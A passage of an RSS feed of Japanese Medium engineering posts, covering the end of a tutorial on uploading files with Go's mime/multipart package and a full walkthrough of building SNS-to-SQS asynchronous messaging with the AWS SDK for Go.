href="https://medium.com/media/a5f3aeeeb5409abc05fd5b658ad9a522/href">https://medium.com/media/a5f3aeeeb5409abc05fd5b658ad9a522/href</a></iframe><p>NewWriterは引数にメッセージ全体のデータを保持するio.Writer（w）を取ります。呼び出されたらバウンダリ（boundary）に使うbase-16文字列がランダムに生成されます。パートを追加するたびにwにそのデータが書き込まれ、最後に追加したパートのポインター（lastpart）が更新されます。</p><p>パートを追加するには、ヘッダを引数にCreatePartを呼び出し、返却されるio.Writerにパートのボディを書き込みます。最後にCloseの呼び出しでメッセージの最終バウンダリが挿入されます。その流れをコードで見てみましょう。</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/91ce36184acf95c4f7d711580a706f72/href">https://medium.com/media/91ce36184acf95c4f7d711580a706f72/href</a></iframe><p>パート毎にヘッダを設定するのが冗長になるため、それを省いてくれるCreateFromFile（ファイル用）とCreateFromField（フォームフィールド用）メソッドが準備されています。他にもリクエストのContent-Typeヘッダに使える値を出すFormDataContentTypeもあります。以下のようにバウンダリを含みます。</p><pre>multipart/form-data; boundary=0d9f057fe9d23d97213ee9b391c3acff605dbde7478fdb97e079f4649a0e</pre><h3>ファイルをアップロードする</h3><p>これでファイルをアップロードするための知識が全て揃っています。コードコメントと一緒にサンプルを一通り見てみましょう。</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/a655f964bc184d3cd3713a743c372cb8/href">https://medium.com/media/a655f964bc184d3cd3713a743c372cb8/href</a></iframe><p>ファイルとリクエストの操作以外は前とほぼ同じ流れです。*bytes.Bufferを使ったのでContent-Lengthヘッダは<a href="https://golang.org/src/net/http/request.go#L824">http.Requestが生成される時に自動で設定されます</a>。アップロードが確認できるように簡単なサーバーを作っておきましょう。</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/fbde0b6446ba37559f4dd753bc94dda4/href">https://medium.com/media/fbde0b6446ba37559f4dd753bc94dda4/href</a></iframe><p>サーバーを起動してからアップロードのリクエストをもう一度送信したら、サーバー側でhttputil.DumpRequestの出力が上記のHTTPリクエスト例とほぼ同じになります。<a href="https://github.com/Jimeux/go-samples/tree/master/file-upload">サンプルレポジトリ</a>で試すことができます。</p><h3>まとめ</h3><p>Go言語の標準ライブラリのパッケージは使い勝手が良く、読みやすいコードに繋がることが多いです。mime/multipartでも完結で分かりやすいコードでファイルアップロードが実装できました。</p><p>ところが、注意事項が1つあります。今回のサンプルではリクエストが送信される時にボディがファイルの中身全体を保持していました。ファイルが小さい場合は問題ないかもしれませんが、大きい場合はSREチームが決して喜ばないでしょう。「<a href="https://medium.com/p/75519dfa647b?source=post_stats_page---------------------------">Go言語のio.Pipeでファイルを効率よくアップロードする方法</a>」では<a href="https://golang.org/pkg/io/#Pipe">io.Pipe</a>を使った、より効率のいいやり方を見ていきます。</p><p><a href="https://github.com/Jimeux/go-samples/tree/master/file-upload">Jimeux/go-samples</a></p><h3>参照</h3><ul><li><a href="https://ja.wikipedia.org/wiki/Multipurpose_Internet_Mail_Extensions">Multipurpose Internet Mail Extensions</a>（ウィキペディア）</li><li><a href="http://www.t-net.ne.jp/~cyfis/rfc/mime/rfc2046_ja-2.html#INDEX_5_1">RFC 2046の仕様書</a>（RFCの部屋）</li><li><a href="https://golang.org/pkg/mime/multipart/">Package multipart</a>（golang.org）</li></ul><p><em>Cover photo by Markus Spiske temporausch.com from Pexels</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c4a8eb15a3ee" width="1" height="1" alt=""><hr><p><a href="https://medium.com/eureka-engineering/multipart-file-upload-in-golang-c4a8eb15a3ee">Go言語のmime/multipartパッケージでファイルをアップロードしましょう</a> was originally published in <a href="https://medium.com/eureka-engineering">Pairs Engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SNS+SQSによるサービス間通信周りのものを簡単に実装してみた]]></title>
            <link>https://medium.com/@jimeux/sns-sqs%E3%81%AB%E3%82%88%E3%82%8B%E3%82%B5%E3%83%BC%E3%83%93%E3%82%B9%E9%96%93%E9%80%9A%E4%BF%A1%E5%91%A8%E3%82%8A%E3%81%AE%E3%82%82%E3%81%AE%E3%82%92%E7%B0%A1%E5%8D%98%E3%81%AB%E5%AE%9F%E8%A3%85%E3%81%97%E3%81%A6%E3%81%BF%E3%81%9F-3781042eb1cd?source=rss-5515517abe5------2</link>
            <guid isPermaLink="false">https://medium.com/p/3781042eb1cd</guid>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[golang]]></category>
            <category><![CDATA[microservices]]></category>
            <category><![CDATA[sqs]]></category>
            <category><![CDATA[sns]]></category>
            <dc:creator><![CDATA[James Kirk]]></dc:creator>
            <pubDate>Thu, 19 Jul 2018 03:04:34 GMT</pubDate>
            <atom:updated>2018-11-29T08:23:49.045Z</atom:updated>
            <content:encoded><![CDATA[<p>弊社アプリ情報サービス<a href="https://app-liv.jp/">Appliv</a>へネイティブ広告を出すため、自社システム<a href="https://app-liv.jp/contact/advertisement">ApplivAd</a>を運営しています。今まではモノリシックなアーキテクチャで開発され、コード量が増えるにつれアプリケーションが複雑化してきました。</p><p>複雑化への対策としてマイクロサービス アーキテクチャへの移行を検討していますが、パフォーマンスが重視されるシステムでは、<a href="https://docs.microsoft.com/ja-jp/azure/architecture/microservices/interservice-communication">サービス間通信</a>が大きな懸念点となります。<a href="https://ja.wikipedia.org/wiki/%E5%88%86%E6%95%A3%E3%82%B3%E3%83%B3%E3%83%94%E3%83%A5%E3%83%BC%E3%83%86%E3%82%A3%E3%83%B3%E3%82%B0%E3%81%AE%E8%90%BD%E3%81%A8%E3%81%97%E7%A9%B4">分散コンピューティングの落とし穴</a>はもちろん、サービス間の結合性からもさまざまな問題が生じます。</p><p>サービス間通信にRESTのAPIや<a href="https://grpc.io/">gRPC</a>などの同期的なプロトコルが使われることが多いです。しかし、ApplivAdのような計測イベントの多いシステムでは、非同期的なプロトコルをも活かすことで、サービス間の結合性を低めるばかりか<a href="https://www.reactivemanifesto.org/ja">リアクティブマニフェスト</a>の実現により近づくことも可能になります。</p><h3>SNS+SQSによる非同期メッセージ</h3><p>AMQPプロトコル (<a href="https://www.rabbitmq.com/">RabbitMQ</a>、<a href="http://activemq.apache.org/">ActiveMQ</a>)、アクターモデル (<a href="https://akka.io/">Akka</a>)、分散ストリーミングプラットフォーム (<a href="http://kafka.apache.org/">Kafka</a>) など、非同期メッセージに使えるミドルウェアが数多くあります。弊社ではインフラコストを抑えシステムの柔軟性を高めるため、可能な限りマネージドサービスを利用することにしています。</p><p>AWS上のソリューションを少し調べると、SNSのPubSub機能とSQSのメッセージキューを組み合わせている動画を<a href="https://www.youtube.com/watch?v=c_WNBmEc6EE">AWSのYouTubeチャンネル</a>で見つけました。複数コンシューマー向けで疎結合性、耐障害性、弾力性といったメリットが魅力的でした。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MsrsJzaIYd-sbeyw.png" /><figcaption>SNS+SQSによる非同期メッセージ</figcaption></figure><p>動画ではアーキテクチャのメリット・デメリットが取り上げられていましたが、本記事では構築と実装に集中したいので以下の項目をカバーします。</p><ul><li>SNSトピックの作成</li><li>SQSキューの作成とSNSトピックへのサブスクリプション</li><li>SNSトピックへのメッセージの発行</li><li>SQSキューからのSNSメッセージの受信と削除</li></ul><h3>トピック、キュー、サブスクリプションのセットアップ</h3><p><a href="https://ap-northeast-1.console.aws.amazon.com/sns/">SNSの画面</a>で新しいトピックの作成ボタンをクリックし、トピック名を入力してからトピックの作成ボタンでトピックを新しく作成しましょう。（<a href="https://docs.aws.amazon.com/ja_jp/sns/latest/dg/CreateTopic.html">トピックの作成</a>を参照）</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PB6fN8UAQWltltZN.png" /><figcaption>SNSトピックの作成</figcaption></figure><p>作成したトピックのARNをコピーしておいてから、<a href="https://console.aws.amazon.com/sqs/home">SQSの画面</a>で新しいキューの作成ボタンをクリックし、作成フォームのキュー名を入力してから、デフォルト設定のままでキューの作成ボタンでキューを新しく作成しましょう。（<a href="https://docs.aws.amazon.com/ja_jp/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-getting-started.html">Amazon SQS キューの作成</a>を参照）</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EuP3beHwevhBxYLs.png" /><figcaption>SQSキューの作成</figcaption></figure><p>作成したキューの右クリックメニューからSNS トピックへのキューのサブスクライブを選択し、先ほどのトピックをドロップダウンリストから選択、またはARNを貼り付けて、サブスクライブボタンでサブスクリプションを作成しましょう。（<a href="https://docs.aws.amazon.com/ja_jp/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-subscribe-queue-sns-topic.html">Amazon SNS トピックへの Amazon SQS キューをサブスクライブする</a>を参照）</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0eI-MmOwPX2h_6Eu.png" /><figcaption>SQSキューをSNSトピックにサブスクライブする</figcaption></figure><p>最後に作成したキューのURLをコピーしておきましょう。これで実装の準備ができました。</p><h3>AWS SDKによる実装</h3><p>これからは<a href="https://aws.amazon.com/jp/sdk-for-go/">AWS SDK for Go</a>を利用し、SNS+SQSの非同期メッセージに必要最低限な実装をしていきます。現時点では残念ながらドキュメントの日本語版はないようです。リファレンス実装のコードは<a href="https://github.com/Jimeux/sns-sqs-producer-consumer">GitHubのレポジトリ</a>で確認できます。</p><p>まず始めに、AWS SDKに必要な値を以下の環境変数に設定しておきましょう。TOPIC_ARNは先ほど作成したSNSトピックのARNで、QUEUE_URLはSQSキューのURLです。（認証に関しては<a href="https://docs.aws.amazon.com/ja_jp/sdk-for-go/v1/developer-guide/configuring-sdk.html#specifying-credentials">Specifying Credentials</a>を参照）</p><pre>export AWS_ACCESS_KEY_ID=&quot;xxx&quot; export AWS_SECRET_ACCESS_KEY=&quot;xxx&quot; export AWS_DEFAULT_REGION=&quot;ap-northeast-1&quot;<br>export TOPIC_ARN=&quot;arn:aws:sns:ap-northeast-1:xxx:xxx&quot;<br>export QUEUE_URL=&quot;https://sqs.ap-northeast-1.amazonaws.com/xxx/xxx&quot;</pre><p>今回の実装にはAWS SDKから以下のパッケージが必要です。インストールはGitHubレポジトリの<a href="https://github.com/aws/aws-sdk-go/blob/master/README.md#installing">Installing</a>セクションから参照、もしくは<a href="https://golang.github.io/dep/">dep</a>で行いましょう。</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/5787bbdc75ff2ef52d520a66197100c2/href">https://medium.com/media/5787bbdc75ff2ef52d520a66197100c2/href</a></iframe><p>SNSとSQSを使う前にはまずAWSのセッションを作成しましょう。認証のキーとシークレットの環境変数はSDKに自動で認識されますが、他はos.Getenvで取得します。</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/e16b551ec309cd7a32f992194614bbaf/href">https://medium.com/media/e16b551ec309cd7a32f992194614bbaf/href</a></iframe><p>この構築でSNSへメッセージを発行できます。SDKの<a href="https://docs.aws.amazon.com/sdk-for-go/api/service/sns/">sns</a>パッケージを使うと楽です。</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/347d542ec15dcdc0071a6ca45185a972/href">https://medium.com/media/347d542ec15dcdc0071a6ca45185a972/href</a></iframe><p>エラーが出なかったら、<a href="https://console.aws.amazon.com/sqs">SQSの画面</a>で利用可能なメッセージが１になっていることが確認できます。右クリックメニューのメッセージの表示/削除を選択しポーリングを開始すれば中身も確認できます。</p><p>SNSから発行されたメッセージをSQSの中で確認すると、メッセージの本文は指定したTest Messageの文字列ではなく、以下のようなJSONオブジェクトになっていることが分かります。</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/77674de161d55fdfdecf40b9afe74be5/href">https://medium.com/media/77674de161d55fdfdecf40b9afe74be5/href</a></iframe><p>メッセージをSQSに直接投げるよりデータ量がかなり多くなります。JSONをパースする前にSDKを使ってメッセージを取得してみましょう。今回は<a href="https://docs.aws.amazon.com/sdk-for-go/api/service/sqs/">sqs</a>パッケージを利用します。WaitTimeSecondsを1秒以上の値に設定することで<a href="https://docs.aws.amazon.com/ja_jp/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-long-polling.html">ロングポーリング</a>を利用することができ、受信の効率化やSQSの使用コスト削減に繋がります。</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/41ea3d9f46c2b0e721bb2943f378bf69/href">https://medium.com/media/41ea3d9f46c2b0e721bb2943f378bf69/href</a></iframe><p>受信が成功した場合は、メッセージが先ほどのようなJSONオブジェクトとして出力されます。このJSONを簡単にパースできるように新しい<a href="https://qiita.com/cotrpepe/items/b8e7f70f27813a846431">構造体</a>を定義しておきましょう。</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/f56ec6f7e9b3829b437dbdd524e368aa/href">https://medium.com/media/f56ec6f7e9b3829b437dbdd524e368aa/href</a></iframe><p>これで標準ライブラリを活かしてJSONを簡単にパースできるようになりました。</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/ccc2a1bb90f324cb1fdb4b3a77ed7546/href">https://medium.com/media/ccc2a1bb90f324cb1fdb4b3a77ed7546/href</a></iframe><p>最後に再度処理されないようにSQSからメッセージを削除することが必要です。</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/dd40e5beb7c18c0f19bb386e258359cb/href">https://medium.com/media/dd40e5beb7c18c0f19bb386e258359cb/href</a></iframe><p>今までのコードをベースに作った簡易的なプロデューサー/コンシューマーの実装例は<a href="https://github.com/Jimeux/sns-sqs-producer-consumer">GitHubレポジトリ</a>で確認できます。</p><h3>まとめ</h3><p>実際にSNS＋SQSによる非同期メッセージングを利用してみた結果、AWSの管理画面での対応とSDKを使った実装は難なく進められました。セキュリティ、インフラコスト削減、耐障害性などマネージドサービスならではのメリットがあり、<a href="https://docs.aws.amazon.com/ja_jp/elasticbeanstalk/latest/dg/customize-environment-resources-sqs.html">CloudWatchを活かす</a>とモニタリングも楽になります。また、新規サービスをリリースしても、既存のプロデューサーを修正せずにサービスのSQSキューをSNSトピックにサブスクライブすれば良いだけです。</p><p>ただし、システムの要件によっては本番環境で様々な考慮事項があります。まずはメッセージが重複不可または順序が重要な場合は、<a href="https://docs.aws.amazon.com/ja_jp/AWSSimpleQueueService/latest/SQSDeveloperGuide/FIFO-queues.html">FIFOキュー</a>の使用が推奨されますが、スタンダートキューより制限が厳しくなり東京リージョンには対応していません。その上、SQSの<a href="https://softwaremill.com/amazon-sqs-performance-latency/#processing-latency">受信レイテンシーが不安定</a>なので100ミリ秒単位のパフォーマンスが重要なシステムには向いていませんし、SNSからのメッセージはメタデータが多いためデータの通信量がかなり高くなります。</p><h3>参考記事</h3><ul><li><a href="https://docs.microsoft.com/ja-jp/azure/architecture/microservices/interservice-communication">マイクロサービスの設計: サービス間通信</a></li><li><a href="https://www.youtube.com/watch?v=c_WNBmEc6EE">Experian: Event-Driven Pub-Sub with SNS and SQS（YouTube）</a></li><li><a href="https://codeburst.io/robust-microservices-communication-with-amazon-sqs-queues-84cecf6d87d8">Robust Microservices Communication with Amazon SQS Queues</a></li><li><a href="https://aws.amazon.com/blogs/compute/building-scalable-applications-and-microservices-adding-messaging-to-your-toolbox/">Building Scalable Applications and Microservices: Adding Messaging to Your Toolbox</a></li><li><a href="https://aws.amazon.com/jp/blogs/compute/event-driven-computing-with-amazon-sns-compute-storage-database-and-networking-services/">Event-Driven Computing with Amazon SNS and AWS Compute, Storage, Database, and Networking Services</a></li><li><a href="https://tech.zooplus.com/event-driven-using-aws-infrastructure-design/">Event driven infrastructure on AWS, Kinesis or SNS+SQS?</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3781042eb1cd" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>